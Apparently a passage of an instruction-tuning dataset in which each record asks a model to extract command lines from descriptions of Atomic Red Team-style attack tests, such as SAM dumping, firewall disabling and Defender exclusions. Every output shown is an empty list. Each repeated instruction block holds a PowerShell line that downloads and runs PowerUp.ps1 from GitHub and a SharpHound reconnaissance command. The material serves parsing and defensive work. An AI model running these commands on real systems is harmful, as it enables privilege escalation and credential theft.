\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This is to test for what ports are open outbound.  The technique used was taken from the following blog:\nhttps://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n\nUpon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\\open-ports.txt.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disables the Microsoft Defender Firewall for the public profile via registry\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated\nvia three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7\n\nUpon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 